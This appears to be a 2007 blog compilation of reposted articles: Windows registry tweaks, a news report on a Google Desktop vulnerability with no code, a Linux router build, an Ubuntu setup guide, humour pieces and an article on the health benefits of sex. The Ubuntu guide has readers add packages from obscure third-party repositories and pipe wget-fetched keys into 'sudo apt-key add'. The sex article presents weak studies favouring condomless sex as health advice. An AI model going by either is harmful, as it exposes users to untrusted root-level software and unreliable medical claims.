"Adopting a more inclusive term for all this was good magic; it pulled people together, helping them recognize common ground and a common way of thinking and working," Raymond added. "I think this (unanticipated) effect on the hacker community's conception of itself turned out to be as important as the rebranding effects on the rest of the world, if not more so."

Raymond concluded, "The flip side is that if not for 'open source', the community we cherish would be a significantly poorer, smaller, and more fractured place today. That's reason enough to keep it."

-- Steven J. Vaughan-Nichols

How Do We Detect Temperature?

2007-02-27T12:31:00.000+07:00

We know how light sensation or sound sensation take place, how we smell, how we taste, but till a recent research we did not understand how we feel temperature. "For a long time, we didn’t know how temperature sensing was being carried out in animals," said Jie Zheng, assistant professor in the Department of Physiology and Membrane Biology at the UC Davis School of Medicine.

“Huge progress was made in the last decade, when scientists discovered four ion channels sensitive to heat and two cold-sensitive ones. But, it was still unclear how only six temperature-sensor channels could cover wide ranges of temperature and still discriminate subtle

differences," Zheng said.

Zheng's team employed a new technique to deal with the problem, revealing that the subunits of one channel can come together with subunits from another channel or co-assemble in laboratory cell cultures to make new functioning channels. “Assuming this process also happens in normal cells, it suggests a likely mechanism for the thermosensitivity seen in all animal cells. We found that, by reassembling subunits we potentially have a lot more than six channel types responsible for the sensing of temperature," he said.

Ion channels are tubular proteins from the cell membrane that can open and close, controlling the ions flow and the electrical charge difference between the inside and outside of the living cells. The team investigated the transient receptor potential (TRP) channels, 6 out of 20 being the channels involved in sensing temperature. “Previous studies concluded that different thermosensitive TRP channel subunits did not coassemble”, Zheng said.

The team employed a 2006 technology named spectra FRET (spectroscopy-based fluorescence resonance energy transfer) to observe interactions between different channel subunits under a microscope. "This technique allows us to look at the channel subunit composition in real-time in live cells," Zheng said. "Using spectra FRET, we were able to focus on just the signal from the plasma membrane," Zheng explained.

"What we found was that the subunits of one kind of heat-sensitive channel coassembled with subunits of other heat-sensitive channels to form new channels. This means that instead of four heat-sensitive channels we have a potential of 256 heat-sensitive channels with potentially different temperature sensitivity ranges. Using these single-molecule recordings, we see many different channel types. The next question we are trying to address is whether they really have different temperature sensitivity. We believe the answer is ‘yes,’ but we have to show that." said Zheng. “The cold- and heat-sensing subunits, however, do not seem to coassemble,” he said.

As the thermosensitive cells also detect pain, the research of these channels could prove useful for novel pain remedies. “We have to re-examine everything from how people acclimate to hot climates to how they respond to spicy food based on the understanding that there are many more kinds of channels involved," Zheng said.

Speed Up Network Browsing

2007-02-27T12:29:00.000+07:00

Network sharing was way superior to the Internet file sharing available through a modest modem. Therefore, we all enjoyed our local sharing protocol. Time passed, broadband connections became so spread and popular that the old modem found his imminent death.

Nowadays, we share over the Internet. At such high speeds, the local network rather spread itself outside the local enclosure. However, LAN is not dead. We still use the Local Area Network at the office or in the neighborhood. The only problem is that users are not satisfied when browsing the network.

It seems that communication

between network computers under Windows has some lacks slowing down browsing. Excluding hardware problems, which are not the basis of this article, some tweaks can be applied in order to smooth things out.

All the tweaks have to be done by editing the registry, which means you need to be careful when doing that. To keep yourself out of trouble, make sure you backup the registry before you edit it.

Disable Network Task Scheduler

Applying this tweak, you will disable networked computers search for scheduled tasks. When you try to open a network folder, it will take a while which is not pleasant at all.

Go to Start > Run and type Regedit. When the registry editor opens, locate this path:

HKEY_LOCAL_MACHINE > SOFTWARE > Microsoft > Windows > CurrentVersion > Explorer > RemoteComputer > NameSpace

Once you found it, just delete the following key:

{D6277990-4C6A-11CF-8D87-00AA0060F5BF}

It is possible not to find the keys mentioned above. It's OK. Just proceed to the next tweak.

Raise the threshold level for the requested buffer.

When dealing with a high-latency connection you need to modify (increase) the SizReqBuf value. We are talking here about a buffer, which is set by default to value of 4356 decimal. Microsoft states that this value provides acceptable level of performances under normal conditions. Well, as we are not satisfied how network browsing devolves we consider the “conditions” as being not normal and therefore, we need to change the value. It seems that in most LAN conditions, the best value for the SixReqBuf would be 16384. Use this value on computers equipped with more than 256 MB Ram.

To change the value, first open the Registry Editor (as presented at the previous tweak) and locate

HKEY_LOCAL_MACHINE > System > CurrentControlSet > Services > LanmanWorkstation > Parameters and then create a DWORD value named SizReqBuf. Edit it and provide a decimal value of 16384.

Tweak the Network Redirector Buffers

By increasing the number of these buffers, you may get a higher transfer rate for the data that travels though the network. Open the Registry Editor navigate to this location:

HKEY_LOCAL_MACHINE > System > CurrentControlSet > Services > LanmanWorkstation > Parameters

Using the procedure explained in the previous tweak, add two new DWORD values:

MaxCmds and MaxThreads

Give both the same value between 0 and 255. It is recommended to choose the value of 64.

Eliminate the shares from My Network Places

Windows has an annoying behavior to place a shortcut in My Network Places for each remote folder accessed through the network. This creates an unpleasant delay when accessing the network. There are two ways to teach Windows not to do that anymore.

For Windows XP Home Edition

Locate HKEY_CURRENT_USER > Software > Microsoft > Windows > CurrentVersion > Policies > Explorer with Registry Editor and add a new DWORD value called NoRecentDocsNetHood setting its value to 1. The value 1 will disable the shares to be added in My Network Places.

For Windows XP Profession

Under this version of Windows, the process is easier. There is no need to edit the registry. Just go to Start > Run and type Gpedit.msc. It will open the Group Policy Editor. Using it, just go to User Configuration > Administrative Templates > Desktop and in the right panel, enable the option: “Do not add shares of recently opened documents to My Network Places”.

Deploying Microsoft Office SharePoint Server 2007

2007-02-27T12:18:00.000+07:00

Deploying Microsoft Office SharePoint Server 2007 will deliver a positive impact on the workflow inside an institution. Case in point-the Menninger Clinic. Microsoft revealed that the adoption

of Office SharePoint Server 2007 has reduced paperwork up to 25%. According to the Redmond Company, the clinic has adopted a single system with Microsoft Office SharePoint Server 2007 (MOSS) and Microsoft Office InfoPath 2007 at its basis.

“Microsoft SharePoint has been invaluable to us, as the application we were working with was becoming too complicated to maintain with one full-time employee and two consultants dedicated to its maintenance,” said Terry Janis, director of Information Technology at Menninger. “Now we can devote those funds to other projects that contribute to higher-quality patient care — all while fulfilling HIPAA requirements.”

“Office SharePoint Server 2007 offers Menninger the ability to easily store, manage and retrieve patient demographic information and clinical documentation,” said Chris Sullivan, Healthcare Provider Solutions Director of the U.S. Healthcare and Life Sciences Group at Microsoft. “A normalized relational database design for this application might require dozens of tables. The document-centric design of Menninger’s system uses SharePoint Server 2007 to reduce this to a handful of lists and document libraries.”

According to Microsoft, the Menninger Clinic, an international psychiatric hospital in Houston has managed to save $80,000 per year following the deployment of the new system, based on Office SharePoint Server 2007. Microsoft's announcement comes in concert with the Health Information Management and Systems Society’s annual IT conference for 2007.

A Second Google Desktop Vulnerability

2007-02-26T05:17:00.000+07:00

"According to InfoWorld, Google's Desktop indexing engine is vulnerable to an exploit (the second such flaw to be found) that could allow crackers to read files or execute code. By exploiting a cross-site scripting vulnerability on google.com, an attacker can grab all the data off a Google Desktop. Google is said to be investigating. A security researcher is quoted: 'The users really have very little ability to protect themselves against these attacks. It's very bad. Even the experts are afraid to click on each other's links anymore.'"

Vulnerability to a little-known Web-based attack could allow an attacker to have access to any data indexed by Google Desktop

Google's PC search software is vulnerable to a variation on a little-known Web-based attack called anti-DNS pinning that could give an attacker access to any data indexed by Google Desktop, security researchers said this week.

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This is the second security problem reported this week for the software. On Wednesday, researchers at Watchfire said they'd found a flaw that could allow attackers to read files or run unauthorized software on systems running Google Desktop.

As with Watchfire's bug, attackers would first need to exploit a cross-site scripting flaw in the Google.com Web site for this latest attack to work, but the consequences could be serious, according to Robert Hansen, the independent security researcher who first reported the attack. "All of the data on a Google desktop can now be siphoned off to an attacker's machine," he said.

Cross-site scripting flaws are common Web server vulnerabilities that can be exploited to run unauthorized code within the victim's browser.

Hansen, who is CEO of Sectheory.com, did not post proof of concept code for his attack, but he said that he has "tested every component of it, and it works." He has posted some details of how Google Desktop data could be compromised on his blog.

Google said it was investigating Hansen's findings. "In addition, we recently added another layer of security checks to the latest version of Google Desktop to protect users from vulnerabilities related to Web search integration in the future," the company said in a prepared statement.

Anti-DNS pinning is an emerging area of security research, understood by just a handful of researchers, said Jeremiah Grossman, CTO at WhiteHat Security. The variation of this attack described by Hansen manipulates the way the browser works with the Internet's DNS in order to trick the browser into sending information to an attacker's computer.

"Once you can re-point Google to another IP address, instead of Google getting the traffic, the bad guy does," he said.

Because this type of attack is so difficult to pull off and is poorly understood, it is unlikely to be used by the criminals any time soon, Grossman said. But anti-DNS pinning shouldn't be ignored, he added. "We should keep our eyes on it in case the bad guys shift gears."

News of the attack comes as Google is trying to enter the desktop productivity market. On Thursday, Google launched a suite of Web-based collaboration software, called the Google Apps Premier Edition, that analysts say could become a competitor to Microsoft Office.

The troubling thing about the attack Hanson identified, which he calls anti-anti-anti-DNS pinning, is that there is very little that can be done to avoid it short of eliminating cross-site scripting vulnerabilities on the Web.

"This is really just fundamentally about how browsers work," he said. "If you allow a Web site to have access to your drive -- to modify, to change things, to integrate, or whatever -- you're relying on that Web site to be secure."

Hansen and Grossman say that Google is not the only company vulnerable to a growing category of Web-based attacks. For instance, MySpace.com was hit when a fast-moving worm spread through the MySpace community in early December, stealing MySpace log-in credentials and promoting adware Web sites.

"A lot of these new attack techniques are going to require the browsers to improve," Grossman said. "The users really have very little ability to protect themselves against these attacks" he said. "It's very bad. Even the experts are afraid to click on each other's links anymore."

A New Screening Device That Gets You Naked

2007-02-26T04:56:00.000+07:00

A new controversial federal screening system has been installed for 90 days on Friday at Sky Harbor International Airport, Phoenix, at the largest terminal.

This is the first test of the device that employs X-rays to “see” through passenger's bodies in the search of hidden explosives and other weapons. The technique is able to watch through clothes and reveals the body's contours with extreme accuracy, just as if the person would stay naked.

There are already critical voices claiming the high-resolution

images are too invasive. In response, the Transportation Security Administration said the device was tuned to make the image look less explicit, like a drawing line, but still tracking down hidden objects.

The new device will be used just as a second screening measure, and the passengers who do not pass by the metal detector could choose between the novel technique and a corporal search. "It's 100 % voluntary, so if the passenger doesn't feel comfortable with it, the passenger doesn't have to go through it," said TSA spokesman Nico Melendez.

The one-minute procedure requires passengers to stand in front of the closet-sized X-ray device with the palms of their hands facing out, from front and behind. "It seems faster. I'm not uncomfortable with it," said one of those tested. "I trust TSA, and I trust that they are definitely trying to make things go quickly and smoothly in the airport.”

Some experts are not so trusty.

"The more obscure they make the image, the more obscure the contraband, weapons and explosives. The graphic image is a strip-search. You shouldn't have to be strip-searched to get on an airplane. Millions of Americans would regard them as pornographic." said Barry Steinhardt, director of the Technology and Liberty Project at the ACLU in Washington, D.C.

TSA would like to install the same technique at the Los Angeles airport and New York's Kennedy Airport by the end of 2007. “The security officer who works with the passenger going through the screening will never see the images the machine produces. The pictures will be viewed by another officer about 50 feet (16 m) away who will not see the passenger. The machine cannot store the images or transmit them and once we're done screening the passenger, the image is gone forever," said Melendez.

Image credit: AS&E

Building A Linux Router

2007-02-26T04:55:00.002+07:00

By Janne Nurminen
Expert Author
Article Date: 2003-08-06

Building a reliable, full-featured broadband router can be very easy and cost-efficient. This article is about building one for routing a LAN to the Internet with NAT (Network Address Translation -- Linux users also call it as IP Masquerading) using an old computer and a Linux micro-distribution designed to have very low hardware requirements. We'll end up having a very simple and stable system, yet featuring e.g. iptables based stateful firewalling and remote administration.

My brother had this old IBM Aptiva (which he had found from a trash can nearby his home) which happened to be just a suitable piece of hardware for the purpose:

Pentium 150 Mhz

14 Megs of RAM

1,6 GB Harddrive

Disk Drive

CD-ROM

10 Mbps Network Interface Controller

Soundcard

Keyboard

Mouse

Video Card with 2 MB Memory, integrated to motherboard

IBM G50 14" Monitor

Choosing a suitable Linux Distribution

The basic idea was to build a router which would also provide firewall services to protect the internal network, and which could be administrated remotely. After doing a quick search, I found Coyote Linux which turned out to be just the perfect solution.

Basically, Coyote Linux is a single floppy distribution of Linux that is designed for the sole purpose of sharing an Internet connection. Being a single floppy distribution, it runs off of a single floppy disk and loads itself to RAM. The floppy itself can be created using either a Microsoft Windows wizard (!), or by using a set of Linux shell scripts. I created mine using the latter method.

Since the floppy was all that was needed, I decided to remove all unnecessary parts from the computer. This makes the machine a bit more silent and less heat-productive. I removed the hardrive, cd-rom and souncard, and replaced the old 10 Mbps NIC with two 100 Mbps NICs (the old one did have a Realtek chip on it, so it would've been supported, too). Luckily it had just the two needed PCI slots for the two network cards.

Creating a bootable floppy disk

The next thing to do was to create the boot diskette. I downloaded the Coyote Linux Floppy Creator Scripts (v1.32) and ran them on my laptop which runs Linux (yes, indeed do note that to run scripts on Linux you need a functioning Linux system ;-). The process itself is very straight-forward. But before you go, you need to know what modules need to be loaded in order to use your network cards. I used two identical D-Link cards which use the rtl8139 module. To find out which module you need, CoyoteLinux has provided a very good documentation, available in PDF format. Generally, more information can be found from the Linux Ethernet-Howto and Vendor/Manufacturer/Model Specific Information.

The script asks to make some trivial choices:

Please choose the desired capacity for the created floppy (3 choices)

Please select the processor type in the destination Coyote Linux system (2 choices)

Please select the type of Internet connection that your system uses (1. Standard Ethernet Connection, 2. PPP over Ethernet Connection, 3. PPP Dialup Connection, 4. ISDN Connection)

Does your Internet connection get its IP via DHCP? [y/n]

Install the Road Runner DEC protocol login software) [y/n]

Install the Big Pond login software? [y/n]

Do you want to enable the coyote DHCP server) [y/n]

Would you like to install sshd for secure remote access? [y/n]

Would you like to install Webadmin for system admin via a web interface? [y/n]

Would you like to create another copy of this disk [y/n]?

By default Coyote uses the following settings for the local network interface:

IP Address: 192.168.0.1
Netmask:    255.255.255.0
Broadcast:  192.168.0.255
Network:    192.168.0.0

These don't need to be changed (unless you need a whole lot of internal IPs, or want to to change the router's internal ip address).

Building the network

The next thing to do was to build the network. I attached a cable from the modem to the router's Internet network card, and from the router's local network card to the switch. All other computers were directly connected to the switch. The result is shown in the fine picture on the right. After that I booted the new Linux Router with the newly made boot disk. Then I adjusted the network settings accordingly for all the computers connected (c₁ - c₄).

On Windows: Control Panel -->
Network and Dial-Up Connections
--> Local Area Connection
--> Internet Protocol (TCP/IP):


IP address: 192.168.0.n 
Subnet mask: 255.255.255.0

Default gateway: 192.168.0.1

DNS servers: ...

... where n of course needs to be a unique number for each machine (IP addresses could be obtained also automatically by enabling Coyote Linux DHCP server for internal network, if needed). On Linux netconf is a good tool for changing network settings.

http://koti.mbnet.fi/~keiky/misc/linux/router/imgs/ethernet_lan.png

After that I pinged other computers and - being in Finland - Nokia:


[jn@karelia docs]$ ping nokia.com

PING nokia.com (147.243.3.73) 56(84) bytes of data.

64 bytes from www.nokia.com (147.243.3.73): icmp_seq=1 ttl=246 time=48.7 ms

64 bytes from www.nokia.com (147.243.3.73): icmp_seq=2 ttl=246 time=98.9 ms

64 bytes from www.nokia.com (147.243.3.73): icmp_seq=3 ttl=246 time=19.8 ms

--- nokia.com ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2014ms

rtt min/avg/max/mdev = 19.825/55.839/98.974/32.702 ms

and hua! It worked! Next I unplugged the monitor and keyboard from the router and placed it in its final place.⁽¹

Conclusion

Building a broadband router can be very easy and cost-efficient, and Coyote Linux Router is a very easy solution for the purpose.

Btw, becase the whole file system is just a RAM disk, the machine can be shutdown by just pressing the power switch like in the good(?) old DOS times..

References

¹⁾ Next time when booting the router it hung up because of a keyboard failure (of course I had to remove the router from its Final Place to be able to plug the monitor back and see what was going on). That was resolved by changing the proper BIOS setting.

First appeared at http://koti.mbnet.fi/~keiky/misc/linux/router/lnx_router.html

Why Do Geeks Take the Chicks?

2007-02-26T04:52:00.001+07:00

Even the scientific research proves it: girls like to hang around with sexy guys but they will marry a geek.

Those computer rats that overinvest in intelligence but undermine their social skills could be the best choice.

Women only have to figure that out for many reasons:

Geeks are reliable. You may think geeks, through their higher IQ and power of understanding the suffering they can inflict in their beloved partners, would not “go astray”. Thus, they will be loyal to their mates for better and for worse.

Is that right?

No, no, no.

Each male, the ultimate nerd, is programmed to spread sperm.

But the geek’s undeveloped social skills do not help in supporting an affair, and in

fact, he keeps on being puzzled about how they ended up with the lover they have been attracted to.

Dating with a geek is really the beginning of a relationship that can last forever.

Geeks are the best on what they do.

Theye won't sleep during the night cause they're preoccupied by things you have never heard about, from hacking, playing video games, or other issues like that.

If their new hobby is sex, you can imagine what follows: he will pirate your brain, hack your genitalia or whatever using also oral connections and links. Your previous lovers were jerks preoccupied by their person and coexisting with their own conceit. But geeks are not interested in social status; they won't spend the time with prosaic issues like sports and fashion, so they have more time for you, girls. Those activities would mean social contact, and they are extremely reluctant to this. As they are isolated, you could mean for a geek his whole universe, so you will be the only target of his attention, from nurturing to lascivious desire.

The previous guys you had came after years of dating lots of other women; they experienced many failures and deceptions, so they ended up being very aware of the reality and having no intention of letting you find out that in their minds you are “just another girlfriend”.

Don't even try to understand the mind of a girl that has serially dated many men and her opinions about men. But with a geek, for whom you may be his “destroyer”, you will be hit by the zest of a beginner. They are not sexually confident but once they achieved, oh God (!), a sex resource, they will fully use each moment.

One more thing: do not underestimate the geek’s power of concentrating! They are as fierce as predatory beasts (you should see them playing computer games!). Do you wanna see the actual meaning of “all night long”?

And we did not mention their finger dexterity. You think this is achievable by pulling up weights at the gym? No, no, but geeks roll dice, play video games, flip pages in books, type a lot (even those keys that you do not know what are there for). You should know they push buttons and joysticks, so, you can imagine where their imagination could lead them.

‘Cause boredom kills a relationship, but geeks have more information sources than others. Which is the biggest porn source? The Internet, of course, and hundreds of gigabytes on their computers are filled with porn.

So, go and get a geek now!

Most of them are on the net.

But remember: a single geek is not sexy, so watch out!

Top 10 Google Products

2007-02-26T04:48:00.000+07:00

As you surely know, Google is a company that owns an impressive number of products from multiple categories such as video solutions, mail services, calendar, blogs and numerous search technologies including news, jobs, maps, groups and patents. Obviously, every client of the Google products has his own favorite services used every day for a certain activity. In the next lines, I'll present you the top 10 Google solutions in my opinion with a short description for every service in the list.

1. Google Search is regarded as the best search engine on the Internet because it provides an impressive amount of information from numerous websites in the entire world. I use it every day for certain activities so I guess it is quite popular among the Internet users.

2. Gmail is the mail solution provided by Google, released on April 1, 2004 and available as a free public beta. Since the launch date, Gmail was available only by invitations,

requiring users to register for the service using an invitation sent by another client of the product. The service was improved several times but the most important feature seems to be Mail Fetcher that allows users to receive up to 5 POP3 accounts directly into the Gmail inbox. Another important update is the Google Talk interoperability that helps Gmail users communicate with friends and family using the interface of the mail solution.

3. Image Search is a technology provided as a part of the Google Search, allowing you to find pictures from the websites located on the entire Internet. It was the subject of a well-known controversy because the company improved its interface but, after an impressive number of users' complaint, Google decided to switch it back to the old appearance.

4. Google News is one of the most popular sources of information on the Internet because it receives news and latest headlines from almost 4500 publications from the entire world. Although the product displays only the headline but places a link to the original publisher, it was often criticized for receiving praises for the content offered by other sources.

5. YouTube is the leader of the online video services that allows you to upload, share and comment videos with friends or other members of the community. The product was acquired in October 2006 for $1.6 billion and caused numerous lawsuits for Google, the company being accused of publishing videos without authorization.

6. Google Maps is probably the most popular solution in its category, allowing users to view maps and other imagery captured directly from the satellites. It is used in many domains; multiple publications reported that even terrorists were connecting to the service to organize attacks against the UK troops located in Basra.

7. Docs & Spreadsheets is regarded as the Office solution provided the search giant that allows users to create, edit and share documents using a simple web-based interface. The product is available for free so I guess it can represent a powerful rival for the well known Microsoft solution.

8. Blogger is the blog service developed by the search giant to help users post and comment articles wrote by numerous authors. Recently, the company revealed the final version of the Blogger that provides an innovative interface bundled with new exciting features.

9. AdSense is currently the most attracting service provided by the search giant because it allows users to earn money quick and easy by placing ads on their websites. The solution is based on the pay per click procedure because it automatically transfers a certain amount of money into the owner's account every time a user clicks on the adverts.

10. Google Video is another video solution provided by Google that provides almost the same features as YouTube but it is currently in beta. Although the company now owns two similar products, its representatives sustained Google Video will continue to exist but will be based on the content it provides.

So, this is my Top Ten Google Products. Feel free to comment it but remember these are the most popular services provided by Google in MY opinion, so try to avoid criticizing me because I really use all these solutions.

The iPod User's Best (Vibrator) Friend

2007-02-26T04:44:00.000+07:00

iPods and vibrators represent 2 of the most popular brands of gadgets around the world, although they offer quite different types of satisfaction; and since these things can be found just about everywhere these days, it was just a matter of time before someone found a way to capitalize on their huge success.

And it seems that someone actually did exactly that, since a company called Suki, LLC. has launched a device called OhMiBod which is by far the most interesting iPod acsexsory (as the manufacturer calls it) ever created.

As mentioned before, the OhMiBod has been developed by the Suki company which was named after its owner, a former Apple,Inc. employee, and was meant to bridge the gap between one's music and sex life. And this little “playful” thingy manages to do just that, since it simply plugs into the iPod or any other music player and it automatically vibrates to the rhythm and intensity of the music.

This is possible due to the fact that the OhMiBod integrates special audio circuitry, which is capable of transforming the music's beats and rhythm into non-repetitive and stimulating vibrations. Moreover, although it's optimized for the iPod, the device is also compatible with just about any other electronic audio output source with a 3.5 mm jack, as for example MP3 and DVD players or even laptops, and comes with a 90-cm “freedom cord”, so that the users can really enjoy it, regardless of the situation.

The OhMiBod is also quite safe, since it's manufactured out of a hypoallergenic white, non-toxic and non-porous plastic material, with a chrome finishing. Moreover, if the users don't feel like listening to music at some point, they can simply attach a multi-speed cap and turn it into a normal, everyday vibrator.

This very kinky device is available for around 69 US dollars, and the users even get the possibility to join a growing online community, called Club VIBE, where they can share playlists and opinions about their experiences with the device. So, how about some Fatboy Slim, dear users?

We are just a few, but there are many of you, Softpedia users, out there. That's why we thought it would be a good idea to create an email address for you to help us a little in finding gadgets we missed. Interesting links are bound to be posted with recognition going mainly to those who submit. The address is .

13 Things to do immediately after installing Ubuntu

2007-02-26T04:42:00.000+07:00

1. Enabling/Adding Extra Repositories
Ubuntu comes by default with only some of the repositories enabled because of licensing issue since downloading certain codecs and apps may be illegal in some countries so you have to enable these repositories/add new repositories to enable installation of these packages.

To enable new repositories go to (System -> Administration -> Synaptic Package Manager ) , type in the root password .Then Go to (Settings -> Repositories ), there enable all the check-boxes to enable all the repositories you need .

Also for installing some apps extra repositories are needed since they are not in the default repositories so go to third Party and add the following there

deb http://givre.cabspace.com/ubuntu/ edgy main main-all
deb http://ntfs-3g.sitesweetsite.info/ubuntu/ edgy main main-all
deb http://flomertens.keo.in/ubuntu/ edgy main main-all

deb http://mirror.ubuntulinux.nl edgy-seveas all

After doing this exit Synaptic Package Manager Fire up Console and type the following command to import GPG keys .

wget http://flomertens.keo.in/ubuntu/givre_key.asc -O- | sudo apt-key add -

wget http://mirror.ubuntulinux.nl/1135D466.gpg -O- | sudo apt-key add -

After doing this your system should be ready for installing extra application.

2. Installing ntfs-3g

ntfs-3g this is necessary if you have a ntfs drive in your computer ( Usually Windows XP installs on NTFS drive) and you want to read and write data to the drive you have to install this .

This can be installed as following type the following at the command prompt

sudo apt-get update
sudo apt-get upgrade

sudo apt-get install ntfs-config

Then type the following command

gksu ntfs-config

This is automatic configuration of ntfs-3g , enable read , write support and it should be configured.

these commands would back up fstab file if configuration goes wrong.

sudo cp /etc/fstab /etc/fstab.bak
gksu gedit /etc/fstab

Now one more thing you want your windows (NTFS) drive to be mounted automatically add the following entries to /etc/fstab

/dev/
/media/ ntfs-3g defaults,locale=en_US.utf8 0 0

Where /dev/partition is the partition which is NTFS drive , in my case /dev/hda1
/media/ this is just the directory you want to use as a mount point where windows drive would be mounted , you can very well use any drive you like.

now Restart ubuntu your windows partition should be working well.

3. Making Windows see your Linux partition

Windows XP lacks support for reading and writing files to Linux file system however external utilities like free Ext2 File system for windows allows Windows XP to read and write files to a Ext2 , Ext3 file system however ReiserFS file system is not supported .

You can get Ext2 file system for windows at the following link : -
(www.fs-driver.org/download.htm)

4. Installing flash-plugin

Macromedia Flash player is not installed by default but since we would be surely needing it while browing the net , installing it is necessary
it can be installed by following command


sudo apt-get install -y flashplugin-nonfree

5. Installing Microsoft True Type Fonts

If you are making a jump from windows to ubuntu you would surely miss the true type fonts that Windows uses , since Microsoft has released them free so they can be installed without a hitch in ubuntu (Though not distributed with Ubuntu) .


sudo apt-get install -y msttcorefonts

6. Installing unrar

RAR is one of the very widely used archives on Windows , however unrar tool to decompress RAR is not shipped with distribution and has ti be installed manually.


sudo apt-get -y install unrar

7. Installing mpg123

mpg123 is a very nice command line based mp3 player that can play mp3 files even on a slow processor based computer , further installing this provides a way of playing mp3 files from within the nautilus file manager . Hence i recommend installing mpg123


sudo apt-get install -y mpg123

8. Installing Adobe Reader

Though ubuntu comes with default evince reader for viewing pdf files , but i am sure you would like to use more complete version of pdf reader Adobe Reader 7.0 which is quiet professional and
more robust , the Linux version of Adobe Reader 8.0 has not been released but the version 7.0 is available and could be downloaded from the following website : -

http://www.adobe.com/support/downloads/product.jsp?product=10&platform=unix

9. Installing DVD playback support

Now this is a contentious issue , in some countries playing DVD files through DEcss is illegal so use it at your own will , anyways to enable dvd playback issue the following command at the command line : -


sudo aptitude install libdvdcss2

Note : the above commands would only work if you have added the repositories i had mentioned before the Seveas repositories.

However if you do not have these Repositories installed issue the following command to install the DVD playback support : -


sudo /usr/share/doc/libdvdread3/./install-css.sh

10 . Installing the extra multimedia codecs,players

Now you would surely want to install all the codecs for playing various media files and the players primarily xine,vlc,mplayer issue the following commands to install the multimedia codecs.


sudo apt-get install gstreamer0.10-pitfdll gstreamer0.10-ffmpeg gstreamer0.10-gl gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-plugins-bad gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-ugly gstreamer0.10-plugins-ugly-multiverse libxine-extracodecs w32codecs
vlc mplayer

This command would install most of the codecs for gstreamer multimedia architecture and vlc media player and Mplayer , as well as the dll files codec (w32codecs) for decoding various files whoose open source decoder are not available.

11. Updating the system
After installing Ubuntu you would surely like to update the system so that all the packages on the system are up to date to new version of the software .
It can be done by following steps , go to (System > Administration > Update Manager)
Now press the Check button and then Install updates to start the installation of updates to the ubuntu system.

12 . Installing beagle

Now Ubuntu does not come with beagle pre-installed maybe because it is still not a final 1.0 release still it is very nice and efficient for searching files and directories on Linux providing features similar to Google Desktop Search and Mac OS Spotlight anyways to install beagle issue the following command at command line :


sudo apt-get install -y beagle

13. Installing gdesklets

gdesklets gives user a collection of impressive widgets that can be placed on desktop this is similar to feature available on Windows Vista and Mac OS X , it does provide quite a good look to the desktop.

To install gdesklets issue the following command at the command line


sudo apt-get install -y gdesklets

after installation go to (System -> Preferences -> Sessions) There go to Start up program and add gdesklets shell , now every time gnome loads up you should see your gdesklets on the desktop.

This is how my desktop looked like with all the desklets (Widgets )

Article written by : -
Ambuj Varshney
For Linux On Desktop (http://linuxondesktop.blogspot.com)
(C) 2007 Linux on Desktop

6 Reasons Why Sex is Very Healthy for You

2007-02-26T02:27:00.000+07:00

Not just good, but good for you

Mounting evidence suggests sex helps keep us healthy


F.Birchman / MSNBC.com

By Brian Alexander

MSNBC contributor

July 1 - To paraphrase a great old slogan for Guinness beer: Sex isn’t just good, it’s good for you!

Okay, so maybe there’s some wishful thinking going on — the science isn’t exactly iron-clad — but evidence is accumulating that the more sex you have, the better off you are.

There is one caveat, though. “We do not have good data to show a direct connection [to all-around good health]," says Jennifer Bass, the head of information services at the Kinsey Institute for Research in Sex, Gender and Reproduction in Bloomington, Ind. "We know that healthier people have more sexual activity. But we do not know which comes first. Does the good health make you more willing to have sex, or does the sex have a positive impact?”

Story continues below ↓

And you dirty girrrls and Don Juans should know that the assumed health benefits of sex are generally thought to accrue to people in loving, monogamous relationships or those flying solo. Risky sex with lots of partners will probably do more harm than good.

But while researchers try to nail down the impact on overall health, data is mounting when it comes to some specifics. Here are several potential benefits:

1. Easing depression and stress
Bass says this is pretty definite. “The release from orgasm does much to calm people. It helps with sleep, and that is whether we talk about solo sex or sex with a partner,” she says.

But wait, there’s more. A recent study of college students at the State University of New York in Albany suggests that semen acts as an antidepressant. Females in the study who were having sex without condoms (see safe sex caution, above) had fewer signs of depression than women who used condoms or abstained from sex.

“These data are consistent with the possibility that semen may antagonize depressive symptoms,” the authors wrote, “and evidence which shows that the vagina absorbs a number of components of semen that can be detected in the bloodstream within a few hours of administration.”

I kid you not, ladies. Semen is good stuff. It gives a shot of zinc, calcium, potassium, fructose, proteins -- a veritable cornucopia of vitality!

2. Relieving pain
Orgasm is a powerful pain-killer. Oxytocin, a natural chemical in the body that surges before and during climax, gets some of the credit, along with a couple of other compounds like endorphins.

According to a study by Beverly Whipple, professor emeritus at Rutgers University and a famed sexologist and author, when women masturbated to orgasm “the pain tolerance threshold and pain detection threshold increased significantly by 74.6 percent and 106.7 percent respectively.”

3. Boosting cardio health
I can’t resist another plug for semen. It’s possible that male goo can lower blood pressure. Another recent study found that women who gave their men oral sex, and swallowed, had a lower risk of preeclampsia, the dangerously high blood pressure that sometimes accompanies pregnancy.

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No, I’m not making this up. “The present study shows that oral sex and swallowing sperm is correlated with a diminished occurrence of preeclampsia,” said the Dutch authors.

See? We told you it was good for you.

There have been other studies showing that sex lowers blood pressure, and might even protect against strokes because of its stress-relieving ability.

But when we think of sex and the cardio system, we tend to think of poor old Nelson Rockefeller having a heart attack in flagrante delicto. Well, not only does that hardly ever happen, but sex might actually protect the heart. A 2002 report from a large British population of men said “some protection from fatal coronary events may be an added bonus” of frequent sexual intercourse.

4. Countering prostate cancer
Over the past few years, several journals have published studies showing that the more ejaculations the better.

Now the Journal of the American Medical Association, no less, has reported that “high ejaculation frequency was related to decreased risk of total prostate cancer.” It doesn’t matter how a man climaxes -- intercourse or masturbation. So next time he says, “Really, honey, it’s therapy,” he could be telling the truth.

5. Healing wounds
Some evidence suggests sex can be rejuvenating to the point of helping wounds to heal faster. Several experiments have shown that oxytocin can help even stubborn sores, like those suffered by diabetics, to heal by regenerating certain cells.

6. Fighting aging
Maybe it’s the rejuvenation, maybe the happiness, maybe all of the above. One thing’s for sure: “Use it or lose it” is literally true. For example, postmenopausal women often suffer from “vaginal atrophy,” which is what it sounds like and can lead to all sorts of complications like urinary tract infections. What’s one way to prevent it? More intercourse.

Sex is a form of exercise, after all, and like all exercise, it burns calories and can help battle the onslaught of the years. In fact, nursing home experts say they wish oldsters would have more sex.

Can sex really make you live longer? Maybe. In the same population of British men I cited earlier, researchers found a 50 percent reduction in overall mortality in the group of men who said they had the most orgasms. There was a dose response: the more orgasms, the better.

